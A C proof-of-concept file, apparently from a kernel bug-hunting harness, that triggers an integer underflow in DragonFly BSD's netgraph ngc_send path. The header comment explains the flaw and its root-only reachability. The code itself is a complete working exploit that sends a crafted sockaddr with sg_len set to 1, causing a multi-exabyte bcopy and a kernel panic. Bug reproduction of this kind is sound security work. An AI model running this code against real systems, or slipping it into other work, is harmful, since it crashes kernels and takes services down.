DF-0535 / df0535.c
/* * DF-0535 - Integer underflow in ngc_send path-length math (CONTROL socket). * * Bug: sys/netgraph7/socket/ng_socket.c ngc_send():245-248: * * len = sap->sg_len - 2; // :245 * path = kmalloc(len + 1, M_NETGRAPH_PATH, M_WAITOK); // :246 * bcopy(sap->sg_data, path, len); // :247 * path[len] = '\0'; // :248 * * `len` is a SIGNED int. ngc_bind validates sg_len (ng_socket.c:822) but * ngc_send does NOT. With sg_len == 1, len = -1; kmalloc(0) succeeds (a * minimum-bucket pointer is returned) and bcopy(sg_data, path, (size_t)-1) * attempts a multi-exabyte memcpy -> immediate page fault -> kernel panic. * With sg_len == 0, len = -2; kmalloc((size_t)-1 ...) under M_WAITOK hangs * / fails enormously. The bcopy length is size_t (unsigned) so the signed * negative is silently reinterpreted as ~0. * * Reachability: REQUIRES a netgraph CONTROL socket (ngc_attach:182 needs * SYSCAP_RESTRICTEDROOT) -> root only. root->kernel hardening gap. * * Build: cc -O2 -o df0535 df0535.c * Run: ./df0535 (must be root; needs `kldload ng_socket` first) * * Expected (bug present): kernel panic (page fault in the bcopy) - guest dies, * panic signature captured in dfbsd-qemu/boot.log. * * NOTE: this PoC PANICS the kernel. The run wrapper must treat ssh-died + * guest-down as reproduced (impact=panic). */ #include <sys/param.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #define MY_AF_NETGRAPH 32 #define NG_CONTROL 2 struct my_sockaddr_ng { unsigned char sg_len; unsigned short sg_family; char sg_data[64]; }; int main(void) { int fd, rc; struct my_sockaddr_ng sa; struct iovec iov; struct msghdr msg; unsigned char pkt = 8; /* NG_VERSION */ printf("[*] DF-0535: ngc_send integer underflow (sg_len=1 -> len=-1)\n"); printf("[*] uid=%d euid=%d (control socket requires root)\n", getuid(), geteuid()); fd = socket(MY_AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (fd < 0) { printf("[!] socket failed: %s (is ng_socket.ko loaded?)\n", strerror(errno)); return 2; } printf("[+] control socket created fd=%d\n", fd); /* sg_len = 1: only the sg_len byte itself, NO family, NO data. * sap->sg_len = 1 -> len = 1 - 2 = -1 -> kmalloc(0) ok -> * bcopy(sg_data, path, (size_t)-1) -> page fault panic. */ memset(&sa, 0x41, sizeof(sa)); sa.sg_len = 1; sa.sg_family = MY_AF_NETGRAPH; memset(&msg, 0, sizeof(msg)); iov.iov_base = &pkt; iov.iov_len = 1; msg.msg_name = &sa; msg.msg_namelen = sa.sg_len; msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("[*] sending with sg_len=1 -> ngc_send computes len=-1 -> " "bcopy(..., (size_t)-1)\n"); printf("[*] EXPECT: kernel panic (fatal trap 12 page fault in memcpy/bcopy)\n"); rc = sendmsg(fd, &msg, 0); /* Should not return on a vulnerable kernel. */ printf("[!] sendmsg returned %d, errno=%d (%s) -- kernel survived?!\n", rc, errno, strerror(errno)); close(fd); return 0; } |